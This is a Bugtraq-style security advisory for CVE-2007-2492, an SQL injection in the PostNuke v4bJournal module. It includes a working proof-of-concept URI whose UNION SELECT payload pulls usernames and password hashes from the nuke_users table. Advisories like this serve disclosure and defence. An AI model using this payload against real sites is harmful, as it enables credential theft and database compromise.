PostNuke v4bJournal Module PHP SQL Injection Vulnerability

Bugtraq ID:	23777
Class:	Input Validation Error
CVE:	CVE-2007-2492
Remote:	Yes
Local:	No
Published:	May 02 2007 12:00AM
Updated:	May 07 2015 05:39PM
Credit:	Ali Abbasi is credited with the discovery of this vulnerability.
Vulnerable:	PostNuke v4bJournal module 0.99
Not Vulnerable:

PostNuke v4bJournal Module PHP SQL Injection Vulnerability

PostNuke v4bJournal module is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

PostNuke v4bJournal Module PHP SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/index.php?module=v4bJournal&func=journal_comment&id=-1/**/union/**/select/**/0,pn_uname,pn_pass,3,4,pn_uname,6,7,8,9,10,11,12,13,14/
**/from/**/nuke_users/**/where/**/pn_uid=2/*

PostNuke v4bJournal Module PHP SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

PostNuke v4bJournal Module PHP SQL Injection Vulnerability

References:

• PostNuke Homepage (PostNuke Development Team)
  
• Post Nuke v4bJournal Module Sql Inject (Ali Abbasi)
  
• v4bJournal Module Release (PostNuke)